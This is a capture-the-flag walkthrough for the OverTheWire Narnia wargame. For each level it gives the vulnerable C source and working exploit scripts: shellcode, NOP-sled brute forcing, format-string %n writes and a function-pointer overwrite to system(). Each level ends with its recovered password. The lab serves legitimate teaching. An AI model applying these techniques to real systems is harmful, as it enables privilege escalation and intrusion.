OverTheWire - Narnia

narnia

narnia.labs.overthewire.org 2226

level 0 → level 1

1
2
3
4
5
6
SSH Information
Host: narnia.labs.overthewire.org
Port: 2226
User: narnia0
Passwords: /etc/narnia_pass/
Binaries: /narnia/

Basic exploitation wargame, 10 levels (0-9). Stack overflows, format strings, shellcode, ret2libc.

Vulnerability: Stack buffer overflow (scanf)

Source narnia0.c:

1
2
3
4
5
6
7
8
9
int main() {
long val=0x41414141;
char buf[20];
scanf("%24s", &buf);
if(val==0xdeadbeef) {
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
}

buf[20] + scanf("%24s") reads 24 bytes → overwrites val at offset 20.

1
2
python3 -c "import sys; sys.stdout.buffer.write(b'A'*20 + b'\xef\xbe\xad\xde')" | ./narnia0
cat /etc/narnia_pass/narnia1
WDcYUTG5ul

level 1 → level 2

Vulnerability: Arbitrary code execution via environment variable

1
2
3
4
5
6
int main() {
int (*ret)();
if(getenv("EGG")==NULL) exit(1);
ret = getenv("EGG");
ret();
}

Executes EGG environment variable as code. Put shellcode (setreuid + execve /bin/sh) in EGG:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch='i386'
sc = asm('''
xor eax,eax; mov al,49; int 0x80
mov ebx,eax; mov ecx,eax
xor eax,eax; mov al,70; int 0x80
xor eax,eax; push eax
push 0x68732f2f; push 0x6e69622f
mov ebx,esp; xor ecx,ecx; xor edx,edx
mov al,11; int 0x80
''')
import os; env = os.environ.copy(); env['EGG'] = sc
import subprocess
p = subprocess.Popen(['/narnia/narnia1'], env=env, stdin=subprocess.PIPE)
p.communicate(b'cat /etc/narnia_pass/narnia2\n')
5agRAXeBdG

level 2 → level 3

Vulnerability: Stack buffer overflow (strcpy, 128-byte buffer)

1
2
3
4
5
int main(int argc, char *argv[]) {
char buf[128];
strcpy(buf, argv[1]);
printf("%s", buf);
}

Offset to return address: 132 bytes (buf[128] + saved ebp[4]). ASLR disabled, stack executable. Brute-force stack address with NOP sled:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch='i386'
sc = asm('''xor eax,eax;mov al,49;int 0x80;mov ebx,eax;mov ecx,eax;xor eax,eax;mov al,70;int 0x80;xor eax,eax;push eax;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov al,11;int 0x80''')
import subprocess
for addr in range(0xffffd000, 0xffffe000, 8):
payload = b'\x90'*(132-len(sc)) + sc + p32(addr)
p = subprocess.Popen(['/narnia/narnia2', payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
try:
out,_ = p.communicate(b'echo PWNED;cat /etc/narnia_pass/narnia3\n', timeout=2)
if b'PWNED' in out: print(out.decode()); break
except: pass

Hit at 0xffffdd18.

2xszzNl6uG

level 3 → level 4

Vulnerability: Stack overflow (strcpy) into output filename

1
2
3
4
5
6
7
8
9
10
int main(int argc, char **argv) {
char ofile[16] = "/dev/null";
char ifile[32];
char buf[32];
strcpy(ifile, argv[1]);
ofd = open(ofile, O_RDWR);
ifd = open(ifile, O_RDONLY);
read(ifd, buf, 31);
write(ofd, buf, 31);
}

Overflow ifile[32] into ofile[16] — redirect output from /dev/null to writable file. Distance from ifile to ofile: 32 bytes. Create symlink matching the full overflowed path:

1
2
3
4
5
6
cd /tmp && mkdir nx && cd nx
INNAME=$(python3 -c "print('A'*32+'BB',end='')")
ln -sf /etc/narnia_pass/narnia4 "$INNAME"
touch BB; chmod 777 BB
/narnia/narnia3 "$INNAME"
cat BB
iqNWNk173q

level 4 → level 5

Vulnerability: Stack buffer overflow (strcpy, 256-byte buffer, environ cleared)

1
2
3
4
5
6
int main(int argc, char **argv) {
char buffer[256];
for(i=0; environ[i] != NULL; i++)
memset(environ[i], '\0', strlen(environ[i]));
if(argc>1) strcpy(buffer, argv[1]);
}

Return address offset: 264 bytes (256 buffer + 8 padding). ASLR off, stack executable:

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context.arch='i386'
sc = asm('''xor eax,eax;mov al,49;int 0x80;mov ebx,eax;mov ecx,eax;xor eax,eax;mov al,70;int 0x80;xor eax,eax;push eax;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov al,11;int 0x80''')
import subprocess
for addr in range(0xffffc000, 0xfffff000, 16):
payload = b'\x90'*(264-len(sc)) + sc + p32(addr)
p = subprocess.Popen(['/narnia/narnia4', payload], stdin=subprocess.PIPE, stdout=subprocess.PIPE)
try:
out,_ = p.communicate(b'echo PWNED;cat /etc/narnia_pass/narnia5\n', timeout=1)
if b'PWNED' in out: print(out.decode()); break
except: pass

Hit at 0xffffdca0.

Ni3xHPEuuw

level 5 → level 6

Vulnerability: Format string (snprintf with user-controlled format, write to local variable i)

1
2
3
4
5
6
7
8
9
10
11
12
int main(int argc, char **argv) {
int i = 1;
char buffer[64];
snprintf(buffer, 64, argv[1]);
buffer[63] = 0;
printf("Change i's value from 1 -> 500. ");
if(i==500) {
setreuid(geteuid(),geteuid());
system("/bin/sh");
}
printf("i = %d (%p)\n", i, &i);
}

The program leaks &i in output. Position 1 on the stack contains the first 4 bytes of buffer. Use %1$496d%1$n to write exactly 500 to i:

1
2
3
4
5
6
7
8
9
10
from pwn import *
import subprocess
p = subprocess.Popen(['/narnia/narnia5','test'],stdout=subprocess.PIPE)
out,_ = p.communicate()
addr = int(out.decode().split('(')[1].split(')')[0], 16)
payload = p32(addr) + b'%1$496d%1$n'
p = process(['/narnia/narnia5', payload])
import time; time.sleep(0.3)
p.sendline(b'cat /etc/narnia_pass/narnia6')
print(p.recvall(timeout=2).decode())
BNSjoSDeGL

level 6 → level 7

Vulnerability: Buffer overflow overwriting function pointer

1
2
3
4
5
6
7
8
9
int main(int argc, char *argv[]) {
char b1[8], b2[8];
int (*fp)(char *) = &puts;
strcpy(b1, argv[1]);
strcpy(b2, argv[2]);
if(((unsigned long)fp & 0xff000000) == get_sp()) exit(-1);
setreuid(geteuid(),geteuid());
fp(b1);
}

Stack layout: b2 at lowest, b1 above, fp above. Overflow b2[8]b1[8]fp[4]. The anti-stack check blocks 0xff but libc (0xf7...) passes.

Use 7 bytes for argv[2] so null stays in b2. argv[1] = sh;#ABCD (no null bytes, shell runs via system()).

1
2
3
4
5
6
7
8
9
10
11
#include <unistd.h>
int main() {
unsigned char arg1[] = {
0x73,0x68,0x3b,0x23,0x41,0x42,0x43,0x44,
0xe0,0x18,0xdd,0xf7, // system@libc
0x00
};
char arg2[] = "AAAAAAA";
char *args[] = {"/narnia/narnia6", (char*)arg1, arg2, NULL};
execve(args[0], args, NULL);
}
1
2
gcc run6.c -o run6
echo "cat /etc/narnia_pass/narnia7" | ./run6
54RtepCEU0

level 7 → level 8

Vulnerability: Format string overwrite of function pointer

1
2
3
4
5
6
7
8
9
10
11
int vuln(const char *format) {
char buffer[128];
int (*ptrf)();
ptrf = goodfunction;
snprintf(buffer, 128, format);
return ptrf();
}
int hackedfunction() {
setreuid(geteuid(),geteuid());
system("/bin/sh");
}

Leaks addresses. Overwrite ptrf with hackedfunction via %hn:

1
2
3
4
5
6
7
8
9
10
11
12
13
import subprocess, struct, re
dummy = "X" * 29
p = subprocess.Popen(["/narnia/narnia7", dummy], stdout=subprocess.PIPE)
out = p.communicate()[0].decode()
nums = re.findall(r"[0-9a-f]{5,}", out)
ptrf_addr = int(nums[3], 16)
hacked = int(nums[1], 16)
lo, hi = hacked & 0xFFFF, (hacked >> 16) & 0xFFFF
addr1 = struct.pack("<I", ptrf_addr + 2)
addr2 = struct.pack("<I", ptrf_addr)
pad1, pad2 = hi - 8, lo - hi
fmt = f"%1${pad1}d%2$hn%1${pad2}d%3$hn".encode()
payload = addr1 + addr2 + fmt
i1SQ81fkb8

level 8 → level 9

Vulnerability: Stack buffer overflow with corrupted source pointer

1
2
3
4
5
6
7
8
9
int i;
void func(char *b) {
char *blah = b;
char bok[20];
memset(bok, 0, 20);
for(i = 0; blah[i] != '\0'; i++)
bok[i] = blah[i];
printf("%s\n", bok);
}

Leak argv[1] with 20-byte payload (loop stops before corrupting blah), then craft exploit with corrected pointer:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
import struct, subprocess

context.arch = "i386"
sc = asm("""
xor eax, eax
mov al, 49; int 0x80
mov ebx, eax; mov ecx, eax
xor eax, eax; mov al, 70; int 0x80
xor eax, eax; push eax
push 0x68732f2f; push 0x6e69622f
mov ebx, esp; xor ecx, ecx; xor edx, edx
mov al, 11; int 0x80
""")

r = subprocess.run(["/narnia/narnia8", b"E" * 20], capture_output=True, timeout=3)
argv1_20 = struct.unpack("<I", r.stdout[20:24])[0]
payload_len = 32 + len(sc)
argv1_addr = argv1_20 - (payload_len - 20)
ret_target = argv1_addr + 32

payload = (b"A" * 20 + struct.pack("<I", argv1_addr) + b"BBBB"
+ struct.pack("<I", ret_target) + sc)
assert b"\x00" not in payload

p = subprocess.Popen(["/narnia/narnia8", payload], stdin=subprocess.PIPE,
stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
out, _ = p.communicate(input=b"cat /etc/narnia_pass/narnia9\necho DONE\n", timeout=10)
for line in out.decode(errors="replace").split("\n"):
if line.strip() and "OverTheWire" not in line and "More information" not in line:
print(line)
1FFD4HnU4K

level 9

Final level — no exploit required. Wargame complete.